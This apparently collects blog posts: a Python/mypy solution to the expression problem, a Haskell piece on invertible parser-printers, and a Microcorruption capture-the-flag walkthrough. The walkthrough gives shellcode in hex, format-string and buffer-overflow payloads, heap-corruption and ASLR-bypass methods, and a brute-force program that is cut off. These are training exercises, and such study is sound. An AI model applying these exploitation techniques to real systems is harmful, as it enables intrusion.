The expression problem

The expression probem is a “new name for an old problem”. It was originally described by Phillip Wadler in an email to a java genericity mailing list on Nov 12, 1998:

The goal is to define a datatype by cases, where one can add new cases to the datatype and new functions over the datatype, without recompiling existing code, and while retaining static type safety (e.g., no casts).

The requirements to be able to say that you have solved the expression problem are more concretely described in the paper “Extensibility for the Masses”:

1. Extensibility in both dimensions: A solution must allow the addition of new data variants and new operations and support extending existing operations.

2. Strong static type safety: A solution must prevent applying an operation to a data variant which it cannot handle using static checks.

3. No modification or duplication: Existing code must not be modified nor duplicated.

4. Separate compilation and type-checking: Safety checks or compilation steps must not be deferred until link or runtime.

5. Independent extensibility: It should be possible to combine independently developed extensions so that they can be used jointly.

It’s a little hard to satisfy the static safety checks in Python without adding types that can be checked statically (without executing the code). To address this shortcoming, we will use the excellent mypy type checker.

Static type checking with mypy

Mypy is a static type checker for Python. It’s got support for generics and an analog of virtual methods. This will be enough to do some interesting things, as we will soon see.

An important feature to note is that every mypy program is still a valid python 3.x program. The types are entirely optional and you’re free to run the program if it doesn’t type check, it will probably just explode at runtime. Let’s look at an example, this is a normal python function:

def greeting(name):
    return 'Hello, {}'.format(name)

Below is the same example, but now we’re going to annotate it to say “this is a function that takes a string, and returns a string”. If we try to pass something that is not a string to this function, mypy will be able to tell you that this won’t work before you run your program.

def greeting(name: str) -> str:
    return 'Hello, {}'.format(name)

We can do more interesting things too, including checking subtyping relations. Here, we say “names is anything that is Iterable over, and produces a string on each iteration.”

from typing import Iterable

def greet_all(names: Iterable[str]) -> None:
    for name in names:
        print('Hello, {}'.format(name))

“Iterable” here is an example of a higher kinded type, which you can think of as a function from a type to another type. Here we are giving it the str type and the result is a type that denotes things iterable over strings. More on this in a bit, when we define our own generics.

Object algebras

Object algebras are the solution to the expression problem chosen in the paper “Extensibility for the Masses”. This is the recipe we will follow to try and solve the expression problem in Python.

Interestingly, object algebras map more or less directly to the final tagless solution to the expression problem, which is another well-known solution popularised by the paper “Finally Tagless, Partially Evaluated: Tagless Staged Interpreters for Simpler Typed Languages”.

This mapping is a desirable quality, and much of the “Extensibility for the Masses” paper is centered around explaining the nice algebraic properties you are able to get from such an approach. Object algebras are essentially F-algebras, which have been very well studied in category theory and computer science.

Object algebras are actually pretty simple, and best explained by example. If you know what the Visitor and AbstractFactory “patterns” are, you may begin to see some similarities.

Abstract base classes in Python

For our working example, we’re going to implement a simple calculator. This recurring example is sometimes known as “Hutton’s Razor”. The calculator is capable of addition on literals, so we’re able to have “1+1”, “2+1+1”, but not anything non-sensical like “42++”.

We are going to start by implementing the abstract base class (a Python 2.6 thing, PEP 3119. This base class will describe our calculator data type, and allow us to create multiple ways consuming the information therein.

from abc import ABCMeta, abstractmethod

class AddExpr(metaclass=ABCMeta):
    @abstractmethod
    def lit(self, lit):
        pass

    @abstractmethod
    def add(self, e1, e2):
        pass

Now we will sprinkle some types on. Note that we introduce a type variable, this is where the “str” type lived in our earlier example with iterators.

from abc import ABCMeta, abstractmethod
from typing import TypeVar, Generic

T = TypeVar('T')

class AddExpr(Generic[T], metaclass=ABCMeta):
    @abstractmethod
    def lit(self, lit: int) -> T:
        pass

    @abstractmethod
    def add(self, e1: T, e2: T) -> T:
        pass

We now have an interface representing some data. This is equivalent in Haskell to:

class AddExpr t where
    lit :: Int -> t
    add :: t -> t -> t

We can now write a python expression that says “given a thing which looks like AddExpr, I’ll give you some kind of calculation”:

def expression(t: AddExpr[T]) -> T:
    return t.add(t.lit(1), t.lit(2))

This little a pretty direct mapping to the final tagless approach in Haskell:

expression :: AddExpr t => t
expression = add (lit 1) (lit 2)

Doing something (kind of) usefull

This is a contrived example, so let’s pretend that evaluating these abstract expressions to a resulting integer is something useful that we want to do. This is now as simple as implementing a subclass of AddExpr.

class AddExprEval(AddExpr[int]):
    def lit(self, lit: int) -> int:
        return lit

    def add(self, e1: int, e2: int):
        return e1 + e2

That’s actually pretty clean! Now we can see how the abstract base class is useful as we define another implementation, but this time for printing expressions as strings.

class AddExprPrint(AddExpr[str]):
    def lit(self, lit: int) -> str:
        return str(lit)

    def add(self, e1: str, e2: str):
        return "({0} + {1})".format(e1, e2)

We can now put all of our pieces together and evaluate the same expression with two different implementations:

print(expression(AddExprPrint()))
print(expression(AddExprEval()))

$ mypy object-alg.py
$ python object-alg.py
(1 + 2)
3

Tick in the static safety box

If you recall our prerequisites for solving the expression problem, along with extensibility we had some requirements for static safety. Let’s see if we satisfy those:

2. Strong static type safety: A solution must prevent applying an operation to a data variant which it cannot handle using static checks.

3. Separate compilation and type-checking: Safety checks or compilation steps must not be deferred until link or runtime.

Let’s try to run a program that passes an implementation which cannot handle a data variant, and see if we can catch that before running the program and failing at runtime.

class AddExprIncomplete(AddExpr[str]):
    def lit(self, lit: int) -> str:
        return str(lit)

    # Missing an implementation for add

print(expression(AddExprIncomplete()))

$ mypy object-alg.py 
object-alg.py, line 38: Cannot instantiate abstract class 'AddExprIncomplete' with abstract method 'add

Excellent, it exploded. We’ll repeat this test when we do some extending.

Extensibility

The whole point of the expression problem is to be able to “add new cases to the datatype and new functions over the datatype”. Let’s do that now by extending our calculator to handle multiplication. We will use inheritence and subtyping to get code re-use and satisfy requirements 1, 3 and 5.

1. Extensibility in both dimensions: A solution must allow the addition of new data variants and new operations and support extending existing operations.

2. No modification or duplication: Existing code must not be modified nor duplicated.

3. Independent extensibility: It should be possible to combine independently developed extensions so that they can be used jointly.

class MultExpr(Generic[T], AddExpr[T], metaclass=ABCMeta):
    @abstractmethod
    def mult(self, e1: T, e2: T) -> T:
        pass

    # We get lit and add for free from the AddExpr[T] super(meta)class

You’ll note that as the MultExpr implementations are a superset of the AddExpr ones, we’re able to use them on both types of expression, and even embed them in our extended data type.

class MultExprPrint(AddExprPrint, MultExpr[str]):
    def mult(self, e1: str, e2: str):
        return "({0} x {1})".format(e1, e2)
 
class MultExprEval(AddExprEval, MultExpr[int]):
    def mult(self, e1: int, e2: int):
        return e1 * e2

def add_expr(t: AddExpr[T]) -> T:
    return t.add(t.lit(1), t.lit(2))

def mult_expr(t: MultExpr[T]) -> T:
    return t.mult(add_expr(t), t.lit(2))

print(mult_expr(MultExprPrint()))
print(mult_expr(MultExprEval()))

$ mypy object-alg.py
$ python object-alg.py
((1 + 2) x 2)
6

What about the static safety? Do we still get that? Let’s try evaluating a multiplication expression with something less powerful.

print(mult_expr(AddExprEval()))

$ mypy object-alg.py
object-alg.py, line 61: Argument 1 to "mult_expr" has incompatible type
"AddExprEval"; expected MultExpr[None]

This saved us from an ugly run time error:

$ python object-alg.py
Traceback (most recent call last):
  File "object-alg.py", line 61, in <module>
    print(mult_expr(AddExprEval()))
  File "object-alg.py", line 56, in mult_expr
    return t.mult(add_expr(t), t.lit(2))
AttributeError: 'AddExprEval' object has no attribute 'mult'

Maybe a little mypy bug

I may have discovered a little bug whilst playing around with failure cases, I suspect either type variable unification is broken or doesn’t happen. The problem arises if we try to instantiate a subclass that should cause the metaclass’s type variables to fail to unify. This leads to being able to make a mistake that is not caught by mypy:

# The AddExprPrint super class will result in an incompatible type
# (mixing strings with ints)
class MultExprEvalBroken(AddExprPrint, MultExpr[int]):
    def mult(self, e1: int, e2: int):
        return e1 * e2

$ mypy object-alg.py
$ python object-alg.py
Traceback (most recent call last):
  File "object-alg.py", line 65, in <module>
    print(mult_expr(MultExprEvalBroken()))
  File "object-alg.py", line 56, in mult_expr
    return t.mult(add_expr(t), t.lit(2))
  File "object-alg.py", line 63, in mult
    return e1 * e2
TypeError: can't multiply sequence by non-int of type 'str'

I haven’t dug further into this.

Conclusion

The expression problem, solved in python! Who’d a thunk it?

The problem

Writing isomorphic round-trip printer/parsers with the get/put idiom is redundant and error prone.

By get/put I mean that we write two distinct functions to and from the destination format and by isomorphic I mean that going to your foreign format, and then back again should be the same as doing nothing.

In order to clarify, let’s look at an example of get/putting when building an isomorphic printer/parser. Pretend if you will that we’ve been given the task of converting some balls to JSON, the balls can either be bouncy or lumpy.

data Ball
    = Lumpy  { _colour     :: Text
             , _lumps      :: [[Bool]]
             }
    | Bouncy { _bouncyness :: Double }

It is common knowledge that bouncy balls are happy, whilst lumpy ones are not. This is reflected in the following serialization format.

[ Lumpy  {_colour = "Rainbow"
         , _lumps = [[True,False],[False,False]]}
, Bouncy {_bouncyness = 3.141592653589793}]

[
   {
      "colour" : "Rainbow",
      ":D" : false,
      "lumps" : [[true,false],[false,false]]
   },
   {
      "bouncyness" : 3.14159265358979,
      ":D" : true
   }
]

How shall we achieve this? By writing toJSON/fromJSON instances by hand, of course! You may wonder why we don’t just use Generics or TH. The answer to this is that the destination format really should be (and often is) arbitrary.

instance FromJSON Ball where
  parseJSON :: Value -> Parser Ball
  parseJSON (Object o) = do
    happy_ball <- o .: ":D"
    if happy_ball then parseBouncy else parseLumpy
   where
    parseBouncy =
        Bouncy <$> o .: "bouncyness"
    parseLumpy =
        Lumpy <$> o .: "colour" <*> o .: "lumps"

instance ToJSON Ball where
  toJSON :: Ball -> Value
  toJSON (Lumpy colour lump_map) =
      object [ ":D"     .= True
             , "colour" .= colour
             , "lumps"  .= lump_map
             ]
  toJSON (Bouncy bouncyness) =
      object [ ":D"         .= True
             , "bouncyness" .= bouncyness
             ]

What’s wrong here? We wrote the same information twice. Not only did I write the same information twice, but it doesn’t even look like they’re the same information! As such, it’s difficult to tell if we made a mistake.

Furthermore, in order to be sure that this is correct we will now have to write a bunch of Abitrary instances and tests so that we can an enter a lucky draw to find a possible problem. Wouldn’t it be nice if we could be correct by construction? Doesn’t it seem theoretically possible to at least palm off the hard work to library authors?

This problem is either a library design issue or a library mis-use issue. Libraries that provide a get/put interface are just fine if they expect users to only ever go one way. This is often not the case and hence the non-optimal interface is uncovered when you want to write a get that is intended to be the inverse of your put. When this use case is considered, the library interface is poor in that it provides a way to define a get that is not equivalent to put. This is the problem we will try to solve.

A wild paper appears!

Thomas and I came up against this exact problem when dealing with “enterprise” JSON (the kind of JSON produced by enormous Java CRM products that like to spit out boolean values as “T”, or “F”). In our dismay, we began searching for solutions with the general idea that:

We want to define get and put at the same time This probably has something to do with composing isomorphisms in some kind of applicative-like syntax. We quickly found Invertible syntax descriptions: Unifying parsing and pretty printing and instantly recognised its relevance. Here’s an excerpt from the abstract:

Parsers and pretty-printers for a language are often quite similar, yet both are typically implemented separately, leading to redundancy and potential inconsistency. We propose a new interface of syntactic descriptions, with which both parser and pretty-printer can be described as a single program.

The paper starts off with a List data type and two implementations of a many combinator that operates on this List. One for Printers, one for Parsers.

data List a
  = Nil
  | Cons a (List a)

type Printer a = a -> Doc

printMany :: Printer a -> Printer (List a)
printMany p list
  = case list of
    Nil       -> text ""
    Cons x xs -> p x
              <> printMany p xs

newtype Parser a = Parser (String -> [(a, String)])

parseMany :: Parser a -> Parser (List a)
parseMany p
  =  const Nil <$> text ""
 <|> Cons      <$> p
               <*> parseMany p

You can probably see where we’re going here, but let me join the dots for you anyway: printMany and parseMany both define the same information with different syntax, wouldn’t it be nice to define them both at once? If we could define them under some kind of unified syntax, then there would be only one definition and there would be no place for inconsistency or redundancy to live. Something like this.

combined :: Unicorn x => x a -> x (List a)
combined p
  =  magic Nil <$> fairies ""
 <|> Cons      <$> p
               <*> parseMany p

Co/contravariance

The first bit of syntax we will tackle is the fmap (<$>) operator, before reading this you will want to understand co/contravariant functors. I recommend reading the beginning of this post

Implementing <$> for parseMany is trivial.

newtype Parser a = Parser (String -> [(a, String)])

(<$>) :: (a -> b) -> Parser a -> Parser b
f <$> Parser p = Parser $ (fmap . first) f . p

Unfortunately, <$> for printer is impossible to define due to it being contravariant. The difference here is that the universally quantified a appears on the opposite side of the arrow in the data type.

type Printer a = a -> Doc

(<$>) :: (a -> b) -> Printer a -> Printer b
(f <$> Printer p) a = error "impossible"

Oh noes! We need access to both a function a→b and b→a in order to implement both of these under the same operator. Also, what if we wanted our functions to be partial? Printer and Parser have no way of respecting such partiality intelligently. This is terrible.

Enter the Partial Isomorphism

Let’s jam a→b and b→a into a box and bolt on some partiality. This is an instance of Category, quite trivially. We will call it Iso (not ideal in my opinion). Done, we can go home now.

data Iso a b = Iso
    { apply   :: a -> Maybe b
    , unapply :: b -> Maybe a
    }

Wait! We don’t have our syntax yet. Let’s define a typeclass for functors from the category of partial isos to Hask (restricted to f).

class IsoFunctor f where
  (<$>) :: Iso a b -> f a -> f b

Now our syntax can be unified and we can just replace (→) with Iso. I would apologise for the overloading of <$> but it wasn’t my idea and I’m equally offended. Let’s not look a gift horse in the mouth, though.

That’s a funny looking Applicative

In order to parse product types (multiple fields) and recurse, we’re going to need something like an apply (<*>) operator. Let’s start by trying to use the same trick that worked for Iso.

class Applicative where
  (<*>) :: f (a -> b) -> f a -> f b

class UnhelpfulIsoApplicative where
  (<*>) :: f (Iso a b) -> f a -> f b

We now get stuck trying to define an instance, the type signature is ludicrous.

type Printer a = a -> Doc

instance UnhelpfulIsoApplicative Printer where
  (<*>) :: (Iso a b -> Doc) -> (a -> Doc) -> b -> Doc
  (f <*> g) b = error "impossible!"
The solution? Just throw tuples at it and frob the fixity, duh!

class Applicative f where
  (<*>) :: f (a -> b) -> f a -> f b

class ProductFunctor f where
  infixr 6 <*>
  (<*>) :: f a -> f b -> f (a, b)

To make it obvious what we’re doing here, I’ll show you how this can look much like the applicative you are used to seeing. Let’s define a function f that takes a constructor of arity three and returns a thing. Then we take these arguments wrapped in functors and produce a thing wrapped in a functor. This is clearer in code. Again, take note that <*> is being overloaded here and means two different things.

f :: Applicative f
  => (a -> b -> c -> d)
  -> f a -> f b -> f c -> f d
f ctor fa fb fc =   ctor <$> fa  <*> fb  <*> fc
f ctor fa fb fc = ((ctor <$> fa) <*> fb) <*> fc

f :: (ProductFunctor f, IsoFunctor f)
  => Iso (a, (b, c)) d
  -> f a -> f b -> f c -> f d
f ctor fa fb fc = ctor <$>  fa <*> fb  <*> fc
f ctor fa fb fc = ctor <$> (fa <*> (fb <*> fc))

Note that we build a tree of tupples, for multiple arguments. This is just leaving them in their uncurried form (with a different fixity).

λ :t uncurry . uncurry
uncurry . uncurry :: (a -> b1 -> b -> c) -> ((a, b1), b) -> c

Some TemplateHaskell for seasoning

In order to lift data types (like our Ball from earlier) we will need to define partial isomorphisms for each of the branches of the product. This is boring and we hate typing, so we just shoot some TH at it. Pew pew pew!

data List a
  = Nil
  | Cons a (List a)

defineIsomorphisms ''List

nil  :: Iso ()          (List a)
cons :: Iso (a, List a) (List a)

Alternatively, we get a Syntax

Alternative is easy, we just drop the Applicative constraint.

class Alternative where
  (<|>) :: f a -> f a -> f a

Now we can glue all of these constraints together as a Syntax (and bolt on pure).

class (IsoFunctor s, ProductFunctor s, Alternative s)
       => Syntax s where
  pure :: Eq a => a -> s a

The punchline

Remember our ugly (and immoral) parseMany and printMany definitions from earlier? They’re now both specific cases of a more general and much prettier definition.

parseMany :: Parser a -> Parser (List a)
parseMany p
  =  const Nil <$> text ""
 <|> Cons      <$> p
               <*> parseMany p
printMany :: (a -> Doc) -> (List a -> Doc)
printMany p list
  = case list of
    Nil       -> text ""
    Cons x xs -> p x
              <> printMany p xs

many :: Syntax s => s a -> s (List a)
many p
  =  nil  <$> pure ()
 <|> cons <$> p <*> many p

Nailed it! Unicorns and fairies do exist. Q.E.D.

Instances (to make it actually do stuff)

I’ll leave the Printer instances here, have a look at the paper if you would like to see the Parser.

instance IsoFunctor Printer where
  iso <$> Printer p
    = Printer (\b -> unapply iso b >>= p)

instance ProductFunctor Printer where
  Printer p <*> Printer q
    = Printer (\(x, y) -> liftM2 (++) (p x) (q y))

instance Alternative Printer where
  Printer p <|> Printer q
    = Printer (\s -> mplus (p s) (q s))

instance Syntax Printer where
  pure x
    = Printer (\y -> if x == y then Just "" else Nothing)

Thats it for now.

New Orleans

This is a simple “find the password” level, this is how the password is checked:

44bc <check_password>
44bc:  0e43           clr	r14
44be:  0d4f           mov	r15, r13
44c0:  0d5e           add	r14, r13
44c2:  ee9d 0024      cmp.b	@r13, 0x2400(r14)
44c6:  0520           jne	#0x44d2 <check_password+0x16>
44c8:  1e53           inc	r14
44ca:  3e92           cmp	#0x8, r14
44cc:  f823           jne	#0x44be <check_password+0x2>
44ce:  1f43           mov	#0x1, r15
44d0:  3041           ret
44d2:  0f43           clr	r15
44d4:  3041           ret

Where the password is stored at 0x2400 by another procedure on startup. This translates roughly to:

char *secret_pass = ",0-}YX1"; // 0x2400, generated earlier

uint16_t check_pass(const char const *p){
	uint16_t o = 0;
	do {
		if(*(p + o) != *(secret_pass + o))
			return 0;
	} while (++o != 0x8);
	return 1;
}

Sydney

Very similar to the last; it checks two bytes at time against static values.

448a <check_password>
448a:  bf90 733a 0000 cmp	#0x3a73, 0x0(r15) // 
4490:  0d20           jnz	$+0x1c
4492:  bf90 7c7c 0200 cmp	#0x7c7c, 0x2(r15)
4498:  0920           jnz	$+0x14
449a:  bf90 3172 0400 cmp	#0x7231, 0x4(r15)
44a0:  0520           jne	#0x44ac <check_password+0x22>
44a2:  1e43           mov	#0x1, r14
44a4:  bf90 3426 0600 cmp	#0x2634, 0x6(r15)
44aa:  0124           jeq	#0x44ae <check_password+0x24>
44ac:  0e43           clr	r14
44ae:  0f4e           mov	r14, r15
44b0:  3041           ret

We can extract the password with a horrible one liner:

printf $(
	grep r15 | grep -o '#0x....' | tr -d '#0x' |
	paste -sd ''| perl -pe 's/(..)/\\x\1/g'
)

Hanoi

This one checks that the seventeenth byte of input is 0x11.

4552:  3f40 d344      mov	#0x44d3 "Testing if password is valid.", r15
4556:  b012 de45      call	#0x45de <puts>
455a:  f290 1100 1024 cmp.b	#0x11, &0x2410
4560:  0720           jne	#0x4570 <login+0x50>
4562:  3f40 f144      mov	#0x44f1 "Access granted.", r15
4566:  b012 de45      call	#0x45de <puts>

Thus an input of seventeen bytes of \x11 will open the lock.

Adiss Ababa

A format string bug, r11 points to the user supplied string:

447a:  0b12           push	r11
447c:  b012 c845      call	#0x45c8 <printf>
4480:  2153           incd	sp
4482:  3f40 0a00      mov	#0xa, r15
4486:  b012 5045      call	#0x4550 <putchar>
448a:  8193 0000      tst	0x0(sp)
448e:  0324           jz	#0x4496 <main+0x5e>
4490:  b012 da44      call	#0x44da <unlock_door>

This is easily exploited without DEP. The simplest value to write is already effectively a noop. In this case, 0x02 is translated to “rrc sr”.

We overwrite the jz at 0x448e with a value of 0x02 via “\x8e\x44%u%n” and the lock opens.

Cusco

The vulnerability

Our first code injection level; the bug is in the allocation sizes:

4500:  3150 f0ff      add	#0xfff0, sp
4504:  3f40 7c44      mov	#0x447c "Enter the password ...", r15
4508:  b012 a645      call	#0x45a6 <puts>
450c:  3f40 9c44      mov	#0x449c "Remember: passwords ...", r15
4510:  b012 a645      call	#0x45a6 <puts>
4514:  3e40 3000      mov	#0x30, r14
4518:  0f41           mov	sp, r15
451a:  b012 9645      call	#0x4596 <getsn>

Nowhere near enough stack space is allocated at 0x4500. Later on, 48 bytes of the users input are copied directly onto the stack. This overflows the buffer and overwrites the saved return address.

Our first shellcode

We’re allowed nulls here so this one is super simple:

mov #0xff00, sr
call #0x10

This is assembled to “324000ffb0121000” and is eight bytes long. Our exploit is therefore:

0343034303430343324000ffb0121000f643

Where “f643” is the little endian address of the shellcode on the stack and 0343 is a “noop”.

Reykjavik

This one is a bit dumb. Instead of trying to understand what it’s doing we can single step a few instructions from the request for input interrupt and see that it is checking for the magic value. Provide that value and the lock opens.

Montevideo

Another obvious buffer overflow, almost exactly the same as Cusco. This time the offending user input must pass through strcpy so we can’t have nulls.

We can take the easy route and return to a function that will open the lock for us, as we control not just the return value but the stack. That’s no fun though and we can shave a few bytes off our input size if we write some shellcode without nulls.

Shellcode without nulls

This uses two methods for getting nulls into addresses in order to fit a shellcode that doesn’t require any help from special addresses into sixteen bytes. This is important so that we can re-use it between levels without having to tweak it.

mov  #0xf010, r4
and  #0x0fff, r4
mov  #0xff01, sr
dec  sr
call r4

To get the call gate (0x0010) into r4, we simply mask it with an and instruction. We now have only eight bytes left and still need to make the call to r4, which leaves us with eight bytes. We use four bytes to copy 0xff01 to sr, then can decrement it once with two bytes and the final two bytes to make the call. This results in:

344010f034f0ff0f324001ff12838412

Simply appending the address of our shellcode results in an open lock in the minimum possible overflowed bytes.

Whitehorse

Nearly the same as Montevideo, just doesn’t use the strcpy, use exactly the same payload and adjust the return address.

Johannesburgh

Almost the same as Montevideo and Whitehorse, but they add a stack cookie. We are in luck though, cookie is static, only one byte is checked, and it isn’t a terminator.

So we simply use the same payload, append the cookie, then append the return address.

Santa cruz

On this level we are given two inputs: username and password.

They are copied onto the stack with strcpy like this:

[username][password]

There is no bounds checking on either, however, if the strlen() of password is greater than sixteen the program aborts.

The easiest way around this is to overflow the username. Supplying a valid length password will add the null terminator back in.

Jakarta

Much like Santa Cruz, but the length check is done before the strcpy. This means that we cannot use the strcpy trick Santa Cruz. There is, however, a single byte overflow in the length check:

4600:  7f90 2100      cmp.b	#0x21, r15

If you cause the length of the buffer mod 255 (0xff) to be less than 0x21, you may pick size you like.

Novosibirsk

Another format string vulnerability. Not much harder to exploit than the first. We’re probably meant to attain code execution here, however, there’s a lower hanging fruit. Simply overwrite the 0x7e here with 0x7f:

44b0 <conditional_unlock_door>
...
44c4:  0f12           push	r15
44c6:  3012 7e00      push	#0x7e
44ca:  b012 3645      call	#0x4536 <INT>

Algiers

Dynamic memory management is introduced here. I’ll assume a basic understanding of glibc implements malloc. This implementation is just a little simpler, there’s no prev_size in the chunk metadata.

Reconstruction of free implementation

In contrast to the glibc implementation, which includes a previous_size, these chunk descriptors appear to be:

typedef struct chunk_ { 
        struct chunk_ *prev;
        struct chunk_ *next;
        uint16_t size;
} chunk;

We will take control of one chunk during the overwrite (six bytes). Here is a translation of the free() function that we will target:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

void free(void *p) 
{       
        // Mark this block free
        chunk *c = p - sizeof(chunk);
        c->size &= 0xfffe;
        
        if (!c->prev->size & 0x0001) {
                // If previous block is free, link the previous and next
                // together.
                c->prev->size = c->size + c->prev->size + sizeof(chunk);
                c->prev->next = c->next;
                c->next->prev = c->prev;
                c = c->prev;
        }
        if (!c->next->size & 0x0001) {
                // If the next block is free, link the one past that to us.
                c->size = c->next->size + c->size + sizeof(chunk);
                c->next = c->next->next;
                c->next->prev = c;
        };
}

We control the memory p points to. As such, we can overwrite c->prev, next and size. If we point prev to our own memory, we can write any two bytes wherever we like.

Any even number for size is considered free, any odd number is in use. We are targeting line 11 by controlling the prev pointer.

Line 12 needs to be taken account of; The address of c->prev will be written back over our overwrite, possibly clobbering more than we might expect.

Vladivostok

A straightforward ASLR level. There is a printf bug which allows us to leak an address. By comparing the data at that leaked address to the image before randomization, we find that it is the address of the printf function.

By calculating the offset from the leaked code to the _INT procedure to be 386 bytes, we can make the attack as follows:

1. Leak the pointer with “%x%x”
2. Add 386 bytes to this address
3. Use that address as the overwritten return value, adding a four byte buffer and then 0x7f as the function argument

Lagos

Our input is restricted to alphanumeric characters on this level. All we need to do is search for gadgets or whole functions within that range.

One is found pretty quickly, halfway into the getsn function:

4650 <getsn>
4650:  0e12           push	r14
4652:  0f12           push	r15
4654:  2312           push	#0x2
4656:  b012 fc45      call	#0x45fc <INT>
465a:  3150 0600      add	#0x6, sp
465e:  3041           ret

We return to 4654 and specify a maximum input size, write address and return address as 4242. This looks like:

Now another input will be requested, and will be returned to immediately after getsn.

Bangalore

This level introduces DEP, where a page is marked either executable or writeable, but never both. Our solution is almost the same as Lagos.

We simply replace the call to getsn with a call to mark_page_executable and then return to the stack, where our shellcode is now executable.

Chernobyl

This is a step up from Algiers (the last heap corruption level) in two ways:

1. Overwrites are less obviously deterministic due to the use of a hash map.
2. Before free() is called, malloc() is called. This means we can’t be as lazy and have to overwrite the link forwards with a valid free chunk.

Neither of these are a big deal.

The program has a bug whereby targeting one bucket causes a heap overflow. To target that bucket we want complete control of the hash generated for any input data.

Creating collisions

We don’t need exact collisions, but they’re easy enough and we’ll remove a variable whilst we’re at it. Exact collisions mean that we don’t have to fully understand the bucket offset calculation. For completeness’s sake, this is what the bucket offset code seems to do:

  inline uint16_t hash_to_offset(hash_table *table, uint16_t key_hash)
  {
          uint16_t os;
          uint16_t i;
          for (os = 2, i = table->no_buckets; i > 0; i--)
                  os += os;
          os -= 1; 
          os &= key_hash;
          os *= 2; 
  }             

The key_hash passed in is generated via a simple hashing function:

// 'AAAA'  == 
// r0  acc == 07df
// r1  acc == fbe0
// r3  acc == 87ff
// fin acc == 7fc0 == 32704
uint16_t checksum(const char *key)
{
	uint16_t acc = 0;
	uint16_t v;
	while (*key != '\0') {
		v = *key;
		v += acc;
		acc = v;
		acc *= 32;
		acc -= v;
		key++;
	}
	return acc;
}

Haskell was used to generate dictionary words that would fit into any bucket:

main :: IO ()
main = collisions 0x0000 >>= print
  where
    collisions tgt = filter ((tgt ==) . hash) <$> candidates
    candidates = lines <$> readFile "/usr/share/dict/all"


hash :: String -> Word16
hash = go 0
  where
    go acc [] = acc
    go acc (x:xs) =
        let v = (fromIntegral . ord) x + acc in
            go (v * 32 - v) xs

Now we can easily use the QuickCheck library to generate pseudo-random padding for any string we wish to inject.

A simple heap overflow

It is now possible to perform an overwrite in free(), so long as we ensure that the forward link in the overwritten chunk is pointing to the end of the heap (a large free block). Failing to ensure this causes the malloc() call just prior to abort due to perceived heap exhaustion.

The malloc() function simply walks the circular list until it finds a free chunk of appropriate size, or until it finds that its next link is at a lower address. A lower address indicates that it has reached the join of the circle and thus the end of the list.

Hollywood

Initial information gathering

The disassembly of this level appears to be complete garbage due to the program jumping to an unusual offset which throws off the web based disassembler completely.

This limits us to tracing execution flow via only a few methods. We can watch the call gate at 0x10 and take note of registers set at these points, or step over hundreds or thousands of instructions at a time hoping not to miss something important. There is one last option we explore later: tracing execution step by step automatically.

Providing a non-winning input to this level executes over 280000 instructions, making a manual single-step method highly improbable to work.

MSP430 emulator

Reading and comprehending such an amount of deliberately confusing assembly is going to take us days and be extremely cumbersome.

With Hollywood playing dirty like this, we shall cheat a little by downloading a MSP430 emulator.

Local debugging

At this point, it’s easy to see what needs to be done. We need to define the programs interaction with it’s environment. There must be an interaction, but how do we find it?

Inspecting the emulator, we can see that the random number generation implementation is quite conveniently lacking entropy:

case 0x20:
	// RNG
	registers[15] = 0;
	break;

Given this, we can deduce that the input is read to the address 0x2600 each time on the emulated system. Unfortunately we can’t put a hardware read watchpoint on this due to the remote debugger interface coverage being minimal.

Time for a hatchet job:

set can-use-hw-watchpoints 0
break *0x10 if $r2 == 0x8200
c
watch ($r5 == 0x2604)
watch ($r6 == 0x2604)
watch ($r7 == 0x2604)
... so on
c

We start the emulator with an input of “AAAAAAAA”. Some time later gdb stops execution and we can see that it’s totally touching our bits, nice:

(gdb) i r r4
r4             0x8282	0x8282

Using the emulators trace capability and a MSP430 disassembler, we can trace execution and dig out the relevant algorithm (in AT&T syntax).

Here is a cleaned up version that is run in a loop over the input until a null is hit:

clr  r4
clr  r6
add  @r5,r4
swpb r4
xor @r5+, r6
xor r4, r6
xor r6, r4
xor r4, r6

Now, tracing access of r4 and r6, we see that they’re untouched until later, where they’re compared against magic values:

cmp	#-335,	r4	;#0xfeb1
push sp
cmp	#-28008,r6	;#0x9298
push sp

Setting these registers to the magic values via the debugger opens the lock.

It’s worth noting that I was also able to find this read loop by comparing the traces of two different input sizes. Due to the lack of randomization, the traces only differed at the point of one loop continuing further. At this point, the program with a shorter input immediately performed the cmp r4.

Creating a GDB script, we’re now able to run an input through the system and quickly see the results on r4 and r6. We have to use a bit of a dodgy hack to break on the cmp instruction, as the emulator appears to be a little buggy:

watch *(unsigned long*) $pc == 0xfeb19034

Using this feedback loop, we can quickly knock up an implementation of the checksum for reference:

hash :: String -> (Word16, Word16)
hash = algo 0 0 . map (swpb . makeWord) . chunksOf 2 . map (fromIntegral . ord)
  where
    makeWord (a:b:[]) = a * 0x100 + b
    makeWord (a:[])   = a * 0x100

algo :: Word16 -> Word16 -> [Word16] -> (Word16, Word16)
algo r4 r6 [] = (r6, r4)
algo r4 r6 (x:xs) =
    let r4' = swpb (x + r4)
        r6' = xor x r6
    in algo r6' r4'' xs

swpb :: Word16 -> Word16
swpb n = 
    let l = n .&. 0x00ff
        r = n .&. 0xff00
    in (l `shiftL` 8) .|. (r `shiftR` 8)

Having matched this up with the output, and proving that we can directly control either register via brute force, we must build a faster implementation to be able to control both within a reasonable time period.

A few minutes later, we have a alphanumeric string that creates the magic values in both r4 and r6 which triggers the lock. The alphanumeric restriction is for style and ease of handling only.

#include <stdio.h>
#include <time.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>

#define SWAP(a,b) a ^= b; b ^= a; a ^= b;
#define SWPB(p)   SWAP((p)[0], (p)[1])
#define READ16(p) (p[0] * 0x100 + p[1])

static const char alphanum[] =
    "0123456789" "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz";

inline void hash(uint16_t * r4, uint16_t * r6, const char const *input);
inline void increment_attempt(char *attempt, size_t len);
inline void gen_random(char *s, const int len);

void main()
{
	srand(time(NULL));
	uint16_t r4, r6;
	char attempt[12];
	while (1) {
		gen_random(attempt, 12);
		hash(&r4, &r6, attempt);

		if (r4 == 0xfeb1 && r6 == 0x9298)
			printf("%2hx: %s\n", r6, attempt);
	}
}

inline void gen_random(char *s, const int len)
{

	int i;
	for (i = 0; i < len; ++i)
		s[i] = alphanum[rand() % (sizeof(alphanum) - 1)];
	s[len] = 0;
}

inline void hash(uint16_t * r4, uint16_t * r6, const char const *input)
{
	*r4 = 0;
	*r6 = 0;
	uint16_t const *p = (uint16_t *) input;
	do {
		if (*(char *)p == '\0' || *(char *)p + 1 == '\0')
			break;
